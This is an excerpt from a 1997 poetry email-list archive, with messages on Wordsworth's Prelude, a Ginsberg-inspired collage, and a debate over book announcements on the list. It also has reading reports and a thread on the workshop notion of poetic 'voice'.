Best not to forget that The Prelude wasn't meant as a self-contained work. It was to be set alongside The Excursion and the other poems of the uncompleted series The Recluse. In fact, Wordsworth intimates that he wanted all his work to be taken as a single poetic opus (making for some interesting parallels with Whitman, and with a number of poets influenced by Black Mountain.

From the Preface to the Excursion:

. . . the two Works [Prelude and Excursion] have the same relation to each other . . . as the ante-chapel has to the body of a Gothic church. Continuing this allusion . . . minor Pieces, which have been long before the Public, when they shall be properly arranged, will be found by the attentive Reader to have such a connection with the main Work as may give them claim to be likened to little cells, oratories, and sepulchral recesses, ordinarily included in those edifices.

↑ Index

297. orpheus
Une Tristesse de Joie pour Allen Ginsberg
Tue 13 May 1997

The matrical fissure of schizophrenia, as opposed to paranoiac castration; and the line of escape as opposed to the "blue line," the blues.

> O mother
> farewell
> with a long black shoe
> farewell
> with Communist party and a broken stocking....
> with your sagging belly
> with your fear of Hitler
> with your mouth of bad short stories....
> with your belly of strikes and smokestacks

with your chin of Trotsky and the Spanish war
with your voice singing for the decaying overbroken workers....

with your eyes
with your eyes of Russia
with your eyes of no money....
with your eyes of starving India....
with your eyes of Czechoslovakia attacked by robots....
with your eyes being led away by policemen to an ambulance
with your eyes with the pancreas removed
with your eyes of appendix operation
with your eyes of abortion
with your eyes of ovaries removed
with your eyes of shock
with your eyes of lobotomy
with your eyes of divorce....

Why these words, paranoia and schizophrenia, which are like talking birds and girls' first names? Why do social investments follow this dividing line that gives them a specifically delirous content (recreating history in delirium)?

When I write about an author... think of the author you are writing about. Think of her so hard that she can no longer be an object, and equally so that you cannot identify with her....Give back to the author a little of the joy, the energy, the life of love and politics that she knew how to give and invent. SO many dead writers must have wept over what has been written about them. I hope that Ginsberg will be pleased over the book that we did on him, and its for the reason the book pleased nobody...Avoid the double shame of the scholar and the familiar.... The superiority of Anglo American Literature To leave, to escape, is to trace a line.... To leave to escape to leave.... to cross the horizon, enter into another life....It is thus that Ginsberg really finds himself in the middle of the Indian continent. He has really crossed the meridian, crossed the line of the horizon.... One only discovers worlds though a long, broken flight. It is the opposite of the imaginary Anglo American literature constantly shows these ruptures,these characters who create their line of flight, whoc reate through a line of flight.... HArdy, Melville, Stevenson , Woolf, Thomas Woolf, LAwrence, Fitzgerald, Kerouac. In them everything is a departure, becoming, passage,

Leap
daemon,
a relationship with the outside (I repeat G.[insberg]
is a man of the real. By which I mean a man of the future real....No more mirage of the imaginary burdened with identifications, phantasies or

anything of the kind). This fixed point for him was, for him, perhaps named
love.... They create a new Earth... American literature operates according to geographical lines: the flight towards the West,the discovery that the true East is in the West, the sense of frontiers as something to cross, to push back, to go beyond.

The author creates a world, but there is no world which awaits us to be created....One must on the contrary speak with, write with.

O mother what have I left out
O mother what have I forgotten

with your Death full of Flowers

No More to say, and nothing to weep for but the Beings in the Dream, trapped in its disappearance

Love's multitudinous boneyard
of decay,
The spilled milk of heroes

Becoming is loving without alcohol, drugs and madness, becoming sober for a life which is richer and richer. This is sympathy, assembling. Making one's bed, the opposite of making a career....

Destruction of silk kerchiefs
by dust storm,
Caress of heroes blindfolded to posts

We know of no book of love more important, more insinuating than Kerouac's Subterraneans....

The void that's highly embraceable
during sleep
Has no location and no fret;
Yet I keep restless mental searching
And geographical meandering
To find the Holy Inside Milk
Demema gave to all.

In reality writing does not have an end in itself, precisely because life is not something personal....

The line of flight in these creative beings is creative of these becomings...

The wheel of the quivering meat conception
Turns in the void expelling human beings,
Pigs, turtles, frogs, insects, nits,
Mice, lice, lizards, rats, roan

RAcing horses, poxy bucolic pigtics,
Horrible unnameable lice of vultures,
Muderous attacking dog armies
Of Africa, Rhinos roaming in the jungle,
VAst boars and huge gigantic bull
Elephants, rams, eagles, condors,
Pones and Porcupines and Pills -
All the endless conception of living beings
Gnashing everywhere in Consciousness
throughout the ten directions of space
occupying all the quarters in & out,
From supermicroscopic no-bug
To huge Galaxy Lightyear Bowell
Illuminating the sky of one Mind -
    Poor! I wish I was free
    of that slaving meat wheel
    and safe in heaven dead

Kerouac's phrases are as sober as a Japanese drawing, a pure line traced by an unsupported hand, which passes across ages and reigns. It would take a true alcoholic to attain that degree of sobriety....

Strange Anglo-American literature: from Thomas Hardy,from D.H. LAwrence to Malcolm Lowry, from Henry Miller to Allen Ginsberg and JAck Kerouac, men who know how to leave, to scramble the codes, to cause flows to circulate, to traverse the desert of the body without organs....How an author is great because he cannot prevent himself from tracing flows and causing them to circulate.... a syntatical, agrammatical; less by what makes it a signifying thing, but by what causes it to move, to flow, to explode - desire. For literature is like schizophrenia: a process and not a goal, a production and not an expression.

Where are we going Walt Whitman? The doors close in an hour. Which ways does your beard point tonight? (I touch your book and dream of our odysse in the supermarket and feel absurd.) Will we walk all night through solitary streets? The trees add shade to shade, lights out inthe houses, we'll both be lonely. Wil we stroll dreaming of the lost America of love past blue automobiles in driveways, home to our silent cottage? Ah, dear father, graybeard, lonely old courage teacher, what America did you have when Charon quit poling his ferry and you got out on a smoking bank and stood watching the boat disappear on the black waters of the Lethe?

Yes Dada would have loved a day like this
with its sweet street carnival

and its too real funeral
just passing through it

with its real dead dancer
so beautiful and dumb
in her shroud
and her last lover lost

Alors,

la,

Il me[nous] faudra errer tout seul.

****

↑ Index

298. **Mark Prejsnar**
Re: poetry announcements
Tue 13 May 1997

I agree with Rachel 10,000%.....I would be hard-pressed to name all the great recent publications I heard about thru the list....I have some sympathy with folks feeling flooded by stuff that isn't their number one priority. Sometimes I feel overburdened by others' personal chat and repartee....But I think a hair-trigger delete button is the main answer. Many of us, and myself first among 'em, feel that keeping in touch thru each others' poetry publications is one of the most difficult aspects of the poetry world right now...The worst are filled with grants and u.p. book contracts, while the best are scuffling around D.I.Y.... (that was an atrocious attempt at a yeats travesty--but you get the idea)...I would feel cut off from a VITAL resource if there was less announcement of publications on the list!!! I feel that characterizing 'em as advertisements is a little weird too, given the personal financial sacrifice many of these folks go thru to get this stuff out..(I mean, the word is technically correct, but the over-tones are wrong).

Mark P.
Atlanta

On Mon, 12 May 1997, Rachel Loden wrote:

> *Would hate to see the announcements (as I think of them) discouraged in any way--it's great to know what people are up to and as Bill Luoma once said or implied (correct me if I'm wrong, Bill) they are refreshingly straightforward public relations, unlike the more prevalent and more tortured sort.*
>
> *Rachel Loden*

> *Bob Grumman wrote:*
>
> *I sympathize with Daniel Tessitore about the ads though I like them myself. To make them less intrusive, would it be possible to keep them aside, then put into one posting once a week for the listing? I'm still a novice at internetting so have no idea how much work this would be. Or maybe someone could volunteer (not me, alas) to collect all the ads for a month backchannel, and put them together weekly (or daily, or whatever) for the rest of us. Eventually perhaps an ad-mail-off option might be possible? That is, those not wishing to see the ads would not be sent them. Seems to me something could be done. --Bob G*
>
> *These past few days I've seen more 'ads' for books, etc. than I've seen conversation. I'm not against people and presses, especially under-funded and under-read ones, attempting to gain some exposure, but that is not what I joined this list for; and even though it's poetry, it's still mail that I did not solicit.*
>
> *If I am the only one who feels this way I'll shut up about it.*
>
> *DT*

↑ Index

299. **maz881**

Re: poetry announcements

Tue 13 May 1997

Rachel, Yes I think i said that. and by "the more prevalent and tortured sort", i think you mean all poetics things are ads and pr puff pieces anyway. . . .

so why not include the more obvious sort?

BillL

> *Would hate to see the announcements (as I think of them) discouraged in any way--it's great to know what people are up to and as Bill Luoma once said or implied (correct me if I'm wrong, Bill) they are refreshingly straightforward public relations, unlike the more prevalent and more tortured sort.*

↑ Index

300. **nuyopoman**
Public Sphere -- Boland-Rich
Tue 13 May 1997

This week at Mining Co: Commentary on Poetry and the Public Sphere and a get down re: last Friday's Boland-Rich DIA reading.

http://poetry.miningco.com

Bob Holman

↑ Index

301. **Steven Marks**
Re: Scrolling toward bookmark.html
Tue 13 May 1997

On Tue, 13 May 1997, David Israel wrote:

> *late-night on that curious cable TV channel that's given over to classical music (usually -- typically music videos of Beethovan, et alia), and occasionally some dance or other art stuff, -- day or two ago, I caught a*

What cable TV channel is this? Is it available nationally? Or is it just local to where you are?

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

302. **hen**
Re: poetry announcements
Tue 13 May 1997

On Tue, 13 May 1997 09:31:02 -0400 <[redacted]> said:
>Rachel, Yes I think i said that. and by "the more prevalent and tortured
>sort", i think you mean all poetics things are ads and pr puff pieces anyway.
>. . .
>
>so why not include the more obvious sort?
>
>BillL

I vote with Rachel & the gang, I like the notices, they're a big help - but this ain't a good argument for keeping them. If our talk is just pr & puff, why not ONLY do the ads? Sorry, Bill, but I intend to keep huffing and puffing with all four of my pseudonyms. Stay tuned for the latest aesthetic advances.

"Aesthetics is to painters like ornithology is for the birds." - Barnett Newman

- Henry Gould

↑ Index

303. **Aldon L. Nielsen**
Re: the Prelude to "Pieces," by Wordsworth
Tue 13 May 1997

My plan is
these little cells
make sequences . . .

↑ Index

304. **Aldon L. Nielsen**
Re: advertisements for myself
Tue 13 May 1997

For a limited time only, I am available as an individual or a group.
Void where prohibited.
Slightly higher in Canada.
Some natural shifting of the contents may occur in shipment.

↑ Index

305. **Peter Ganick**
address change for potes & poets....
Tue 13 May 1997

---

hello....
i have become aware that several people have
tried recently to send potes & poets press
e-mail unsuccessfully....that's because the
address has changed....the new address is:
[redacted]....this will also route
mail to peter ganick....an additional address
is: [redacted]....though that address
is not regularly checked....
out....

↑ Index

306. shoemakers
Re: what have I subscribed to?
Tue 13 May 1997

I've been meaning to mention for a while now a fact that seems to me to be quite significant--I've arrived at a point where my reading Wish List is made up in large part not just of books mentioned by people on this list--the various recommendations and passing mentions that are often so interesting--but of books actually written by list members--there seems to have been an especially compelling flurry of appearances of late.

I also like to read the announcements of events even when I know I won't possibly be able to attend--they often arouse in me a stimulating mix of curiosity, envy, regret, and vicarious thrill, as well as generating a buzzing awareness of the Dispersed & Thriving Life of Poetry--like listening to "the news" the way i'd like it to be reported. Also, as someone else mentioned, there's always the chance of a trip leading to a salutary co/incidence. steve

↑ Index

307. Steve Carll
Jenny's First Poetry Reading
Tue 13 May 1997

On Friday, May 9, 1996, San Francisco's (and the world's) Small Press Traffic ended its schedule (at least until August) with a reading by Douglas Powell and Jessica Grim. I brought my friend Jenny Osgood, whom I've known since high school and who was visiting from San Diego. It was her first poetry reading. She said she enjoyed it, so perhaps it won't be the last.

We did arrive after Douglas had started due to a late dinner, unfortunately. Having to stand prevented me from writing down any of the fine lines he read, many from his MS that is scheduled to be published by Wesleyan Press if memory serves. I can tell you that Doug read each word very carefully and that his work is clever, funny, touching and occasionally heart-rending.

At the break we grabbed seats in the back and read the new Mirage. The Jessica Grim's turn came. She announced her intention to read work so new none of the titles were final yet, and plunged right in:

it belates us what thinking predicts
it is a tunnel to the home in their head
it rose up and fanned the sorry cows
hoarding the betweenness
tapered to the finest presence, albeit steeply
stone calamity abbreviates the face

cultivation accretes below the waterline
fecund pundit moon
prone dervishes' edict

and then she read a funny found piece made of words entered by students doing searches of a library database, words that turned up zero records.

Jessica started her reading by informing Doug that her skirt was blue, evidently referring to something that happened before I made it. Maybe one of the following people who were in the audience that night can explain:

Ed Mycue, Spencer Selby, Lyn Hejinian, Lauren Hudath, Pam Lu, Kevin Killian, Dodie Bellamy, Leslie Scalapino, Jean Day, Laura Moriarty, David Bromige, Carol Ciavonne, Travis Ortiz, Cydney Chadwick, Giovanni Singleton, Renee Gladman, Brian Lucas, Hung Tu, Steve Dickison, Tina Rotenberg, Pat Reed, Margie Sloan, Nick Karavatos, Sam, anyone?

The "Santa Rosa contingent" (loosely composed of David, Doug, Sam, Carol, Cyd, and Margie) invited us to Timo's for _tapas_ afterward, and though it was hard to calm down in a place with such a buzz, the _flan de naranja_ was sweet and tasty. Everyone congratulated Jenny on NOT being a writer.

Be that as it may, tonight at Intersection for the Arts on Valencia between 15th and 16th sees the return of former San Franciscan and current Brooklynite Drew Gardner. 8:00!

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

308. **Daniel Tessitore**
Re: what have I subscribed to?
Tue 13 May 1997

With due respect to all listmembers, and with kudos for the writer of the post below, I hereby rescind any statements of mine concerning ads posted to the list. I also rescind any and all negative attitudes which attended such statements. I was wrong, and you were quite right, all of you, many times over.

All best,

DT

From: Piombino/Simon[SMTP:[redacted]]
Sent: Tuesday, May 13, 1997 8:13 AM
To: Daniel Tessitore
Cc: [redacted]
Subject: Re: what have I subscribed to?

Very interesting conversation you've started here, and I entirely disagree with you. What else did you not want to talk about?On Mon, 12 May 1997, Daniel Tessitore wrote:

> These past few days I've seen more 'ads' for books, etc. than I've seen
> conversation. I'm not against people and presses, especially under-funded
> and under-read ones, attempting to gain some exposure, but that is not
what
> I joined this list for; and even though it's poetry, it's still mail that
I
> did not solicit.
>
> If I am the only one who feels this way I'll shut up about it.
>
> DT
>
>
>

↑ Index

309. **Daniel Tessitore**
Re: the notion of voice
Tue 13 May 1997

)ne such guidebook is THE PRACTICE OF POETRY (Behn, Twichell 1992) which contains several exercises contributed by writers who teach workshops. There's one I find particularly telling--Jim Simmerman's "Twenty Little Poetry Projects," which to my mind is perhaps the clearest 'map' to a lot of contemporary poetic practice.

DT

From: Stephen Cope[SMTP:[redacted]]
Sent: Wednesday, May 14, 1997 3:26 PM

To: [redacted]
Subject: Re: the notion of voice

It seems that the best place to look for defintions and/or assertions of "voice" and its importance in workshop poems is in workshop texts themselves - i.e. the kind of guidebooks/handbooks etc. that market themselves as such. (I can't unfortunately, name any off hand, but am sure you could get some info. from any number of workshop teachers at any number of universities, community colleges, etc.) Otherwise, Donald Wesling and Tadeusz Slawek's recent _Literary Voice: The Calling of Jonah_ provides some interesting takes on the concept and what they contend is its ongoing value. They argue, in short, that voice mediates the two "minimal" poles of body and text - pure orality and pure textuality - becoming "maximal", however, not in the individual, but in the "bardic voice" - that which speaks for the collectivity, the nation, etc. Theirs is interesting in that they attmept to come to terms with the notion of "voice" through/against recent critiques thereof (Grammatology etc.), using the term both literally (orality, speech, etc) and figuratively (subject, identity, etc). They rely heavily on Henri Meschonnic, a theorist who has done much w/ rhythm/voice/subjectivity, and who has had little if anything translated into English that I know of (btw: if anyone does know of any such translations, I'd love to hear of them backchannel). In any case, their bibiliography should be helpful, as they breifly touch on both popular and academic studies of voice from various disciplines...

Best,
Stephen Cope

↑ Index

310. Daniel Tessitore
voice
Tue 13 May 1997

I mentioned the Practice of Poetry in an earlier post. Thinking about it, I would also have to contend that, while not a guidebook, Poulin's Contemporary American Poetry (4th ed.--the big red one) is as much responsible for the way a lot of young writers write as anything. Being an "MFA factory" graduate myself, I can tell you that there is hardly a young poet out there who was not issued that book as an undergraduate.

DT

↑ Index

311. **Daniel Tessitore**

Re: a poem is being beaten

Tue 13 May 1997

NAME THAT FAMOUS POET!

Here is the first half of a poem from POET X followed by the book's blurbs. What is curious to me is that if there is such a thing as emphasis on 'voice,' it certainly is a generic one.

> My daughter comes to me
> with her sorrow. She is
> not yet ten, not yet
> insistent for her father.
> As if waiting out a sentence
> she sits at the round table,
> her long black shawl of hair
> framing high cheek bones.
> She thinks she is ugly,
> thinks she has no friends...

The blurbs which grace the back cover of the book from which this poem was taken call X's work "rich with lyric observation," "eloquent and deeply provocative," "technically impeccable," "tantalizing, supremely crafted, sublime." X is "one of the most important poets writing today."

From: Aldon L. Nielsen[SMTP:[redacted]]
Sent: Thursday, May 15, 1997 1:55 AM
To: [redacted]
Subject: Re: a poem is being beaten

On the subject of familiar voice -- these two items appeared in the first issue of _lower limit speech_ -- They are by Laurie Schneider, and I think they sum it up pretty neatly:

_____
Workshop Poems

I. Female

SCENE:
> Grandmother's Kitchen
> Grandmother's Hands

REMEMBRANCE
> Bread, Birth

Epiphany

II. Male

SCENE:
    Grandfather's Plough
    Grandfather's Gun

REMEMBRANCE
    Digging, Death

Epiphany

_____

so, that's the formula -- endless possibilities for variation

↑ Index

312. **Daniel Tessitore**
AND THE WINNER IS
Tue 13 May 1997

There was only one entry (henry) so he wins for having come closest. Poet X's true identity is:

    Ellen Bryant Voigt

From: henry[SMTP:[redacted]]
Sent: Thursday, May 15, 1997 4:55 AM
To: [redacted]
Subject: Re: a poem is being beaten

that poem by Famous Poet X was really written by IBM-clone Dirty Zinc, a computer in Prague, Hungary. Don't ask me how Prague became part of Hungary. It won an award in a poem tournament in Florida last year, beating out 340 human poets and a poetry-writing german shepherd named Orf.

- Blarnes

↑ Index

313. **Daniel Tessitore**
Re: a poem is being beaten
Tue 13 May 1997

From: Mark Weiss[SMTP:[redacted]]
Sent: Thursday, May 15, 1997 4:38 AM

To: [redacted]
Subject: Re: a poem is being beaten

I may find this and its like objectionable for different reasons than many on the list. The problem is not, as I see it, the quotidian drama, but that it's neither particularized nor contextualized, which facilitates its anonymous sleekness. When Donne writes "The Ecstasie" he goes beyond the conventional lyric with its tacit assumption of the universality of the sentiment (love being, amazingly, among the more common of miraculous events) to a close analysis of the minutiae of the experience, using the best tools available to him for his investigation. The mind probing is made visible. A possible and particular mind in a given context is made visible.

This thing, on the other hand, draws what little it has to offer from the assumption of universality--its lack of particularity and context place it in the ideal, clean world of straightforward emotional responses and very green lawns. It's the world of the terminal suburb, where all of our problems are little ones, in which the poet flatters us that he and we belong. _____

Thank you--you nailed it perfectly. The 'assumption of universality' is what engenders the felt need for 'accessibility' I think.

I've been thinking more about the Poulin anthology since mentioning it yesterday, and think I've articulated to myself exactly what it is I think is so permeating(?) about it (perhaps other popular anths?):

It's a karaoke menu. In a lot of lit-mags (karaoke bars) one sees the golden oldies of this menu reperformed over and over. The 'voice' is the same, at best. The music is the same too, though more like muzak. Praise is awarded in accordance with the degree of similarity between the original and its new performer.

"I did it my way" (applause).

DT

↑ Index

314. Daniel Tessitore
Re: the notion of voice
Tue 13 May 1997

From: Dean Taciuch[SMTP:[redacted]]
Sent: Thursday, May 15, 1997 12:42 PM
To: [redacted]
Subject: Re: the notion of voice

I'd like to look at voice in context of Mark Wallace's statement several weeks ago about "the individual"--Mark's posts have gotten both of these threads going--but there's not been much discussion of the individual in the posts on voice. Voice being an aspect of "craft," suppose, doesn't hit quite so close to center as questioning individuality (I dunno, maybe it does). But by questioning voice I think we are questioning individuality. Why is a voice in a poem different from one's voice in conversation? Because the literary voice is a construct? And the conversational voice isn't? _____

I think an argument can be made (perhaps it has) that all voices are constructs--literary, conversational. The conversational voice(s) we use may be constructs even if they are learned rather than developed ones.

_____

I found a quote quite by accident as I was reading through the Oxford Guide to 20th C Poetry (a desk copy turned up in my Departmental box just as I was off to give an exam). Anyway, the Robert Kelly entry contains this quote: "my work is not _my_ work. . .my personality is its enemy." Slightly different terms ("personality" rather than "individuality," but a similar concern I think).

_____

Eliot put forth this same notion, though perhaps more roundaboutly in Tradition and..., which I think about every time I read any kind of guidebooks or reviews or blurbs that praise the notion of voice in some way. I think his idea of the writer's obligation to leave personality behind was one of his primary cautions to the would-be writer, and it's amazing to me how it seems to go totally ignored in contemporary mainstream work. _____

One textbook I've used for beginning Creative Writing courses (I couldn't find it today, though) spent part of chapter at least debunking the idea of "voice"--but only for emerging/beginning writers. Voice was not something to be discovered but something to be developed. I wish I could find the exact reference (I don't think it was _The Practice of Poetry_, though Daniel Tessatore's post makes me think it may have been). I had the peculiar sense that the author was engaging in a kind of territorial protection--"voice" was a concern of established writers, you young'uns best get back to the woodshed. That is, "voice" was to be developed through careful practice--the "craft" aspect, I think, that Joe Amato mentioned. _____

The Practice of Poetry does contain a chapter called 'The Self and Its Subjects: A. Aspects of Voice, and B. What's It About?' I'll take a retour through this soon and see what I can find. _____

And yes, this does relate to the individual, to personality even.

The individual is a story we tell (often to ourselves) to trace the trajectory of the changes we go through. But this of course assumes there is an unchaging core (the "indivudual") to which (to whom) these changes occur. But the core is change, a shifting field of relations between memories, responses, predictions. Think of yourself when you were 15, or 8? Who _was_ that? What voice did they have?

Dean

_____

DT

↑ Index

315. **Rachel Loden**
Re: poetry announcements
Tue 13 May 1997

---

hen wrote:

> *Sorry, Bill, but I intend to keep*
> *huffing and puffing with all four of my pseudonyms. Stay tuned for*
> *the latest aesthetic advances.*

Hey, Hen, work it. As RuPaul says, "It's all just clothes, makeup, and hair."

Move those pixels,

Rachel

↑ Index

316. **dbkk**
Re: Jenny's First Poetry Reading
Tue 13 May 1997

At 9:04 AM -0700 5/13/97, Steve Carll wrote:
>On Friday, May 9, 1996, San Francisco's (and the world's) Small Press
>Traffic ended its schedule (at least until August) with a reading by
>Douglas Powell and Jessica Grim.

Thanks for the review, Steve--BUT--Small Press Traffic has one more event in May--a book party/ reading for the second issue of Clamour.

Friday, May 16, 7:30 p.m.
Clamour

a reading by contributors

Tisa Bryant
Aja Couchois Duncan

Terry A. Miller
Elissa Perry

According to editor Renee Gladman, ³---------² _Clamour_ #1 exploded all our preconceptions of what modern experimental poetry can be and do, can mean and say and perform ... within sexuality, a longing, an absence ... within racial identity a deconstruction of the self, of the ³other² ... within critical inquiry an activism that soars and shouts ... the garment of ethnicity rent, torn and repatched. An essential magazine. _Clamour_ #2 will be released at this event.

New College Cultural Center
766 Valencia Street
$5

Re: the "----------" above, I'm at home and only have the first draft of the flyer copy at my disposal. On the flyer Renee is quoted as saying something about how Clamour is a place where "dykes" can experiment and communicate with one another. Though, of course, she's more elegant than my paraphrase.

Dodie

↑ Index

317. Mark Wallace
the notion of voice
Tue 13 May 1997

There is an idea often floated around that the rise of the contemporary "workshop" poem is related to a particular concept of poetic "voice"--in general, that "voice" is an individual matter that a writer finds with practice and time. To a greater or lesser extent, this "voice" is the natural property of the writer in the language--it is his or her "own" voice, albeit one discovered rather than given. Whether anyone actually believes this, or has said so in so many words, is something I'm trying to find out.

Is anyone aware of published articles or books that articulate/elaborate/defend this notion of voice, or something similar to it--obviously, my description above is meant to be very general. I would appreciate backchannels with any specific information. I suppose as a list matter it might also be a subject for discussion, but someone could be of most help to me if they have specific information about sources.

Thanks in advance for any help.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:

| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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318. **Herb Levy**
Re: Birthdate // what have I subscribed to?
Tue 13 May 1997

> *Can anyone tell me when this list began?*
>
> *This was the first Poetics Message:*
>
> *Date: Wed, 25 Aug 1993 14:55:05 -0400*
> *From: Charles Bernstein*
> *To: Multiple recipients of list POETICS <[redacted]>*
> *Subject: first flight*
>
> *Above the world-weary horizons*
> *New obstacles for exchange arise*
> *Or unfold, O ye postmasters!*
>
> ******
> *However, in the fall of 1993 we were still testing the list mostly locally*
> *in Buffalo and it became a national list >in December 1993, with Peter*
> *Quatermain's announcement of the book launch for the Holy Forest.*

So how come the Poetics archive at the EPC now starts in April 1994? One used to be able to go back at least to Peter's post. Did these early "national" posts get lost in the move to a new server or what?

Happy to be part of this community of shoppers,

Herb Levy
[redacted]

↑ Index

319. **Joe Safdie**
Re: Jenny's First Poetry Reading
Tue 13 May 1997

I too appreciate the announcements and reports of readings, but (and I apologize, Steve Carll, because this is going to sound churlish) I find myself frustrated with your otherwise voluminous SF "reviews" by your practice of quoting individual lines out of context. Narrative, meta-narrative, and IBM Deep Blue aside, I find myself totally bewildered about what even one individual poem

could actually have said, or sounded like: perhaps you could ASK the poet in question for a copy of his or her poem that you liked a lot and then post that to the list?

If this is just my envy at no longer living in the Bay Area and so not having a chance to actually attend these events myself, I apologize.

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320. **Jordan Davis**
Re: Jenny's First Poetry Reading
Tue 13 May 1997

Joe --

I dunno. I think Steve's practice of reporting the lines that he thinks were exemplary is a fair representation of one kind of poetry audience experience. That is, you don't get a holograph of a poem at a reading. If he were to give you the whole poem in his report, it'd get to be a bit too much like Borges' map of the country at a one-to-one scale. Maybe I'm just going through tv sports news withdrawal, but the 'highlights' version of the event doesn't bug me.

Incidentally, I think Steve's set to nomail.

Flippin' my shades like Lee Mazilli,
Jordan

↑ Index

321. **henry**
Re: Jenny's First Poetry Reading
Tue 13 May 1997

Steve Carll's not responsible for the "quotable-line" genre which is prevalent in these reading reports from various reporters. Quotable-Line Poetry is an offshoot of the New Joke School which stems from Wordsworth's NW Rear Cathedral Dispensary Chapel Exit poem, titled "Hyper Burbling Brook". [Brook II] I too envy this style, myself. You have to be invited to read in a Major American Metropolis to infuse this particular stream into your work.

- IBM Deep Greenish-Gould

"how do you like dem pixie-pecs, Rache?"
- Falstaffdrift

↑ Index

322. **shoemakers**
Re: the notion of voice
Tue 13 May 1997

Actually, I'd very much like to see some discussion of this subject. I've been sympathetic to the Langpo-and-after critique of the fetishizing of such a voice, a critique which correlates pretty closely, i guess w/ the post-structuralist attack on the notion of the "unified subject." At the same time, tho, i've always felt that this issue is complex. Lots of poets I admire *do* seem to have a particular and identifiable "voice." This is true of poets, like Oppen, still devoted to "lyric valuables." But it cld it also be true even of a poet like Bernstein who wants to deconstruct the traditional lyric, often violently collaging disparate materials to this end? One still hears, at least sometimes, something like a "voice" emerging from the pile-up. Or at least discovers, and learns to recognize, characteristic patternings and maneuvers. Is there any reason to think of such patterning as a "voice," or is this just a holdover from older modes, a readerly bad habit? Certainly, if one hears Charles B. read his poetry he *does* have a "voice," and a quite unmistakble one at that.

When I interviewed Carl Rakosi he called himself a "poet of voice, of voices." That little stutter has always intrigued me--acknowledging multiplicity but keeping, in some form, the concept of poetic voice. Heck, I've been told I have one myself, but if so i didn't pick it up in a workshop. steve

On Tue, 13 May 1997, Mark Wallace wrote:

> *There is an idea often floated around that the rise of the contemporary "workshop" poem is related to a particular concept of poetic "voice"--in general, that "voice" is an individual matter that a writer finds with practice and time. To a greater or lesser extent, this "voice" is the natural property of the writer in the language--it is his or her "own" voice, albeit one discovered rather than given. Whether anyone actually believes this, or has said so in so many words, is something I'm trying to find out.*
>
> *Is anyone aware of published articles or books that articulate/elaborate/defend this notion of voice, or something similar to it--obviously, my description above is meant to be very general. I would appreciate backchannels with any specific information. I suppose as a list matter it might also be a subject for discussion, but someone could be of most help to me if they have specific information about sources.*
>
> *Thanks in advance for any help.*
>
> *Mark Wallace*
>
> /----------\

> | |
> | [redacted] |
> | *GWU:* |
> | *http://gwis2.circ.gwu.edu/~mdw* |
> | *EPC:* |
> | *http://writing.upenn.edu/epc/authors/wallace* |
> |_____|

Steve Shoemaker

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323. **Robert Hale**
Re: the notion of voice
Tue 13 May 1997

Mark:

Regarding your post on the origin of "voice" as American poetry episteme or belief system. I seem to recall an article in Poets and Writers from two years back that touched on this idea. I can't remember the author, but it was a polemic against the workshop/MFA factory.

His most damning evidence was random quotations from "best poetry" anthologies of that year, pieces that all more-or-less began with a childhood reminiscence or the death of a family member -- ergo workshop/MFA poets are programmed to cover only certain topics, also (and this is where his argument was hopelessly flawed) that they lack the experience to write about anything else because all they do is sponge off the workshop/MFA circuit (too adroit, really). He should have questioned it at the level you are contemplating. Regardless of his agenda, I think the notion of "voice" you are examining is linked to what he's talking about. Also, I would think that the definition of "experience" is key here, as well. I'll try to dig up the piece and I'll let you know if I find it.

At 02:38 PM 5/13/97 -0400, you wrote:
> There is an idea often floated around that the rise of the
>contemporary "workshop" poem is related to a particular concept of poetic
>"voice"--in general, that "voice" is an individual matter that a writer
>finds with practice and time. To a greater or lesser extent, this "voice"
>is the natural property of the writer in the language--it is his or her
>"own" voice, albeit one discovered rather than given. Whether anyone
>actually believes this, or has said so in so many words, is something I'm
>trying to find out.
>
> Is anyone aware of published articles or books that
>articulate/elaborate/defend this notion of voice, or something similar to

>it--obviously, my description above is meant to be very general. I would
>appreciate backchannels with any specific information. I suppose as a list
>matter it might also be a subject for discussion, but someone could be of
>most help to me if they have specific information about sources.
>
> Thanks in advance for any help.
>
> Mark Wallace
>
>/----------\
>| |
>| [redacted] |
>| GWU: |
>| http://gwis2.circ.gwu.edu/~mdw |
>| EPC: |
>| http://writing.upenn.edu/epc/authors/wallace |
>|_____|
>
>

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324. **main**
tucson reading
Tue 13 May 1997

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for those way out west:

talk and poetry reading by david bromige

talk: "Building Up the Poem"
friday, may 16, 7:00 p.m.
poetry center annex, 1232 n. cherry
tucson, az
admission $5 at door

poetry reading:
saturday, may 17, 5:00 p.m.
dinnerware gallery, 135 e. congress
tucson, az
donations appreciated

dan featherston

↑ Index

325. **David Israel**

Re: the notion of voice

Tue 13 May 1997

---

footnote:

don't know (this evening) where one wd locate the manner of locus classicus [or anyway, good exampli] of the "unique voice" idea that Mark W. seeks, surely many such cites (at least in secondaryish sources) must be floating around far & wide & rampant --

but I've a suggestion abt. this: if one limits the voice idea to poetry per se (rather than, more broadly, looking at the notion as applied to "writing"), one circumscribes it somewhat unnaturally, meseems --

one particularly runs across phrases like "then he found his voice" in biographies of prose writers of, say, early 20th century American fiction -- doesn't one? Such is integral to widespread mythologies of "the modern [fiction] writer," seems --

I'd hazard a guess the idea may've developed some of its force in such environments rather than strictly within metes & bounds of the line-brreak crowd --

d.i.

p.s.:

of course, speaking of "voice" as a term suggesting a consistent or discernable (sometimes evolving) personal style, arguably this goes back far in many poetry traditions -- even though the relation between the individual voice & the collective voice seems (as usual) hard to scrutinize & dissect -- rather ebb-&-flow-ish --

but in (for instance) Chinese poetry, the idea is typically considered present & evident as far back as Chu Yuan (circa 2nd century BC?), who's generally considered the 1st now-known Chinese poet to have demonstrated an individual voice (quite different -- in some of his work -- from the corpus of "Book of Songs" poems, which are awash in what one could certainly call "the collective voice" -- as is folk utterance generally) -- & the notion of voice (or closely-kindred ideas, admittedly not using that specific term) seem esp. strong in Tao Yuan-ming [4th century or so AD?] and then, in basically the whole growing tradition thereafter -- esp. the Tang & Song dynasty poets (taking us thru 13th century a.d. . . .) -- it's a long story in many a land -- this pervasive fiction of the self . . .

↑ Index

326. **David Israel**
Re: the notion of voice
Tue 13 May 1997

---

p.s.:

